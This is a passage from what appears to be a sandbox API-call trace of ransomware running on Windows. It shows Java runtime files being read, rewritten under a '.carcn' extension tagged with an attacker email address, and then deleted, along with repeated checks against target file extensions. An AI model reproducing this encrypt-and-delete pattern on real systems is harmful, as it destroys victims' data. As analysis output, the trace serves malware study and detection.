dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0304.188] GetLastError () returned 0x0 [0304.188] ReadFile (in: hFile=0x36c, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x4040, lpOverlapped=0x0) returned 1 [0304.214] WriteFile (in: hFile=0x338, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x4050, lpOverlapped=0x0) returned 1 [0304.216] ReadFile (in: hFile=0x36c, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0304.216] WriteFile (in: hFile=0x338, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xe4, lpOverlapped=0x0) returned 1 [0304.216] SetEndOfFile (hFile=0x338) returned 1 [0304.216] CloseHandle (hObject=0x338) returned 1 [0304.216] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.216] SetEndOfFile (hFile=0x36c) returned 1 [0304.217] CloseHandle (hObject=0x36c) returned 1 [0304.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0304.218] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe")) returned 1 [0304.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0304.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0304.218] lstrlenW (lpString=".doc") returned 4 [0304.218] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0304.218] lstrlenW (lpString=".docx") returned 5 [0304.218] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0304.218] lstrlenW (lpString=".pdf") returned 4 [0304.218] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0304.218] lstrlenW (lpString=".xls") returned 4 [0304.218] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0304.218] lstrlenW (lpString=".xlsx") returned 5 [0304.219] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0304.219] lstrlenW (lpString=".ppt") returned 4 [0304.219] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0304.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0304.219] lstrlenW (lpString=".zip") returned 4 [0304.219] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0304.219] lstrlenW (lpString=".rar") returned 4 [0304.219] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0304.219] lstrlenW (lpString=".bz2") returned 4 [0304.219] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0304.219] lstrlenW (lpString=".7z") returned 3 [0304.219] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0304.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0304.219] lstrlenW (lpString=".dbf") returned 4 [0304.219] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0304.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0304.219] lstrlenW (lpString=".1cd") returned 4 [0304.219] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0304.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0304.219] lstrlenW (lpString=".jpg") returned 4 [0304.219] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0304.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0304.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0304.219] lstrlenW (lpString=".doc") returned 4 [0304.219] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0304.220] lstrlenW (lpString=".docx") returned 5 [0304.220] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0304.220] lstrlenW (lpString=".pdf") returned 4 [0304.220] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0304.220] lstrlenW (lpString=".xls") returned 4 [0304.220] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0304.220] lstrlenW (lpString=".xlsx") returned 5 [0304.220] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0304.220] lstrlenW (lpString=".ppt") returned 4 [0304.220] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0304.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0304.220] lstrlenW (lpString=".zip") returned 4 [0304.220] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0304.220] lstrlenW (lpString=".rar") returned 4 [0304.220] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0304.220] lstrlenW (lpString=".bz2") returned 4 [0304.220] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0304.220] lstrlenW (lpString=".7z") returned 3 [0304.220] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0304.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0304.220] lstrlenW (lpString=".dbf") returned 4 [0304.220] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0304.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0304.220] lstrlenW (lpString=".1cd") returned 4 [0304.220] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0304.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0304.221] lstrlenW (lpString=".jpg") returned 4 [0304.221] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0304.221] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0304.221] lstrlenW (lpString="npjp2.dll") returned 9 [0304.221] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0304.222] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=234560) returned 1 [0304.222] CloseHandle (hObject=0x36c) returned 1 [0304.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll")) returned 0x20 [0304.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0304.222] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0304.222] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.222] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.222] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0304.316] GetLastError () returned 0x0 [0304.316] ReadFile (in: hFile=0x36c, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x39440, lpOverlapped=0x0) returned 1 [0304.324] WriteFile (in: hFile=0x384, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x39450, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x39450, lpOverlapped=0x0) returned 1 [0304.328] ReadFile (in: hFile=0x36c, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0304.328] WriteFile (in: hFile=0x384, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xe6, lpOverlapped=0x0) returned 1 [0304.328] SetEndOfFile (hFile=0x384) returned 1 [0304.328] CloseHandle (hObject=0x384) returned 1 [0304.328] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.329] SetEndOfFile (hFile=0x36c) returned 1 [0304.331] CloseHandle (hObject=0x36c) returned 1 [0304.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0304.331] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll")) returned 1 [0304.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0304.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0304.331] lstrlenW (lpString=".doc") returned 4 [0304.331] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0304.332] lstrlenW (lpString=".docx") returned 5 [0304.332] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0304.332] lstrlenW (lpString=".pdf") returned 4 [0304.332] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0304.332] lstrlenW (lpString=".xls") returned 4 [0304.332] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0304.332] lstrlenW (lpString=".xlsx") returned 5 [0304.332] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0304.332] lstrlenW (lpString=".ppt") returned 4 [0304.332] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0304.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0304.332] lstrlenW (lpString=".zip") returned 4 [0304.332] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0304.332] lstrlenW (lpString=".rar") returned 4 [0304.332] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0304.332] lstrlenW (lpString=".bz2") returned 4 [0304.332] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0304.332] lstrlenW (lpString=".7z") returned 3 [0304.332] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0304.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0304.332] lstrlenW (lpString=".dbf") returned 4 [0304.332] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0304.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0304.332] lstrlenW (lpString=".1cd") returned 4 [0304.332] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0304.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0304.332] lstrlenW (lpString=".jpg") returned 4 [0304.332] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0304.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0304.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0304.333] lstrlenW (lpString=".doc") returned 4 [0304.333] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0304.333] lstrlenW (lpString=".docx") returned 5 [0304.333] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0304.333] lstrlenW (lpString=".pdf") returned 4 [0304.333] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0304.333] lstrlenW (lpString=".xls") returned 4 [0304.333] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0304.333] lstrlenW (lpString=".xlsx") returned 5 [0304.333] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0304.333] lstrlenW (lpString=".ppt") returned 4 [0304.333] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0304.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0304.333] lstrlenW (lpString=".zip") returned 4 [0304.333] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0304.333] lstrlenW (lpString=".rar") returned 4 [0304.333] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0304.333] lstrlenW (lpString=".bz2") returned 4 [0304.333] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0304.333] lstrlenW (lpString=".7z") returned 3 [0304.333] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0304.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0304.333] lstrlenW (lpString=".dbf") returned 4 [0304.333] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0304.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0304.333] lstrlenW (lpString=".1cd") returned 4 [0304.333] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0304.334] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0304.334] lstrlenW (lpString=".jpg") returned 4 [0304.334] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0304.334] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0304.334] lstrlenW (lpString="prism_common.dll") returned 16 [0304.334] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0304.334] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=57408) returned 1 [0304.335] CloseHandle (hObject=0x36c) returned 1 [0304.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll")) returned 0x20 [0304.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0304.335] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0304.335] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.335] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.335] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0304.371] GetLastError () returned 0x0 [0304.371] ReadFile (in: hFile=0x36c, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0xe040, lpOverlapped=0x0) returned 1 [0304.406] WriteFile (in: hFile=0x350, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xe050, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xe050, lpOverlapped=0x0) returned 1 [0304.409] ReadFile (in: hFile=0x36c, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0304.409] WriteFile (in: hFile=0x350, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xf4, lpOverlapped=0x0) returned 1 [0304.409] SetEndOfFile (hFile=0x350) returned 1 [0304.409] CloseHandle (hObject=0x350) returned 1 [0304.409] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.409] SetEndOfFile (hFile=0x36c) returned 1 [0304.411] CloseHandle (hObject=0x36c) returned 1 [0304.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0304.411] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll")) returned 1 [0304.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0304.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0304.411] lstrlenW (lpString=".doc") returned 4 [0304.411] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0304.411] lstrlenW (lpString=".docx") returned 5 [0304.411] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0304.411] lstrlenW (lpString=".pdf") returned 4 [0304.411] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0304.411] lstrlenW (lpString=".xls") returned 4 [0304.412] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0304.412] lstrlenW (lpString=".xlsx") returned 5 [0304.412] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0304.412] lstrlenW (lpString=".ppt") returned 4 [0304.412] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0304.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0304.412] lstrlenW (lpString=".zip") returned 4 [0304.412] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0304.412] lstrlenW (lpString=".rar") returned 4 [0304.412] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0304.412] lstrlenW (lpString=".bz2") returned 4 [0304.412] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0304.412] lstrlenW (lpString=".7z") returned 3 [0304.412] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0304.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0304.412] lstrlenW (lpString=".dbf") returned 4 [0304.412] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0304.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0304.412] lstrlenW (lpString=".1cd") returned 4 [0304.412] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0304.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0304.412] lstrlenW (lpString=".jpg") returned 4 [0304.412] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0304.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0304.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0304.413] lstrlenW (lpString=".doc") returned 4 [0304.413] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0304.413] lstrlenW (lpString=".docx") returned 5 [0304.413] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0304.413] lstrlenW (lpString=".pdf") returned 4 [0304.413] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0304.413] lstrlenW (lpString=".xls") returned 4 [0304.413] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0304.413] lstrlenW (lpString=".xlsx") returned 5 [0304.413] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0304.413] lstrlenW (lpString=".ppt") returned 4 [0304.413] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0304.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0304.413] lstrlenW (lpString=".zip") returned 4 [0304.413] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0304.413] lstrlenW (lpString=".rar") returned 4 [0304.413] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0304.413] lstrlenW (lpString=".bz2") returned 4 [0304.413] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0304.413] lstrlenW (lpString=".7z") returned 3 [0304.413] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0304.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0304.413] lstrlenW (lpString=".dbf") returned 4 [0304.413] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0304.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0304.414] lstrlenW (lpString=".1cd") returned 4 [0304.909] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0304.909] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0304.909] lstrlenW (lpString=".jpg") returned 4 [0304.909] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0304.909] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0304.909] lstrlenW (lpString="jvm.dll") returned 7 [0304.909] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0304.910] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=8809536) returned 1 [0304.910] CloseHandle (hObject=0x390) returned 1 [0304.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll")) returned 0x20 [0304.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0304.910] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0304.911] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0304.911] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fc64 | out: lpNewFilePointer=0x0) returned 1 [0304.911] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fc24 | out: lpNewFilePointer=0x0) returned 1 [0304.912] ReadFile (in: hFile=0x390, lpBuffer=0x4179058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x377fc30, lpOverlapped=0x0 | out: lpBuffer=0x4179058*, lpNumberOfBytesRead=0x377fc30*=0x40000, lpOverlapped=0x0) returned 1 [0304.929] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x2ccec0, lpNewFilePointer=0x0, dwMoveMethod=0x377fc24 | out: lpNewFilePointer=0x0) returned 1 [0304.929] ReadFile (in: hFile=0x390, lpBuffer=0x41b9058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x377fc30, lpOverlapped=0x0 | out: lpBuffer=0x41b9058*, lpNumberOfBytesRead=0x377fc30*=0x40000, lpOverlapped=0x0) returned 1 [0304.951] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x377fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0304.951] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x826c40, lpNewFilePointer=0x0, dwMoveMethod=0x377fc24 | out: lpNewFilePointer=0x0) returned 1 [0304.951] ReadFile (in: hFile=0x390, lpBuffer=0x41f9058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x377fc30, lpOverlapped=0x0 | out: lpBuffer=0x41f9058*, lpNumberOfBytesRead=0x377fc30*=0x40000, lpOverlapped=0x0) returned 1 [0304.989] SetFilePointerEx (in: hFile=0x390, 